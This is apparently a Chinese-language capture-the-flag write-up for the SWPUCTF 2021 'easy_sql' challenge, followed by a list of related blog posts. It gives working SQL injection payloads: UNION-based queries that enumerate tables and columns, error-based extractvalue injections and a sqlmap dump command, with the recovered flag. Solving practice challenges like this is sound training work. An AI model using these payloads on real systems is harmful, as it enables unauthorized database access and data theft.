[SWPUCTF 2021 新生赛]easy_sql - 联合注入||报错注入||sqlmap

这题可以直接参考:NISACTF 2022join-us - 报错注入&无列名注入

网站标题提示,参数是wllm
?wllm=1

  得到:Your Login name:xxx Your Password:yyy

解法一:手注

1、先尝试普通注入?wllm=-1'union select 1,2,3--+

  得到:Your Login name:2 Your Password:3

  这里注意 ,wllm=-1才会回显占位符,否则还是xxx yyy

2、?wllm=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

  得到:Your Login name:test_tb,users

3、?wllm=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),3--+

  得到:Your Login name:id,flag

4、?wllm=-1'union select 1,(select group_concat(flag) from test_tb),3--+

  得到:Your Login name:NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

如果能手注,还是非常舒服的!

解法二:报错注入

1、?wllm=1'-a()--+

  得到:FUNCTION test_db.a does not exist

  表为:test_db

2、?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema = 'test_db'),1,100),0x7e))--+

  得到:XPATH syntax error: '~ test_tb,users ~'

3、查test_tb:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),1,100),0x7e))--+

  得到:XPATH syntax error: '~ id,flag ~'

4、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),1,100),0x7e))--+

  得到:XPATH syntax error: '~NSSCTF{82bf2238-f61d-41f1-b103-'

5、查test_tb.flag:?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),20,100),0x7e))--+

  XPATH syntax error: '~ d-41f1-b103-848e28154cee} ~'

最终:flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

解法三:sqlmap

python sqlmap.py -u "http://xxxxxxxxxxxxx.cn:28930/?wllm=1" --batch --dump -T test_tb

sqlmap每次都要跑很久,个人喜欢手注

相关推荐
倔强的石头_1 天前
《Kingbase护城河》——猎捕慢查询:执行计划的微观解析与索引调优实战
数据库
SelectDB1 天前
Apache Doris Python UDF:让 SQL 直接调用 Python 生态,支撑 Agent 时代复杂业务逻辑
大数据·数据库·python
泯泷1 天前
第 2 篇:设计第一套字节码:Opcode、Instruction 与 Constant Pool
前端·javascript·安全
泯泷1 天前
第 1 篇:从 1 + 2 开始:亲手写出第一台 JSVM
前端·javascript·安全
jiayou643 天前
KingbaseES 表级与列级加密完全指南
数据库·后端
GBASE3 天前
G术时刻 |GBase 8s数据库事务并发控制之封锁技术介绍(下)
数据库
xiezhr4 天前
逛GitHub发现了一款免费的带AI功能的数据库管理工具
数据库·ai编程·dba
唐青枫5 天前
MySQL JSON 实战详解:从存储、查询、更新到 JSON_TABLE 与索引
sql·mysql
吃糖的小孩5 天前
给 QQ AI 机器人设计“可控记忆”:会话摘要、手动长期记忆与角色卡边界
数据库
笃行3505 天前
金仓数据库数据安全双防线:静态存储加密与传输加密实战
数据库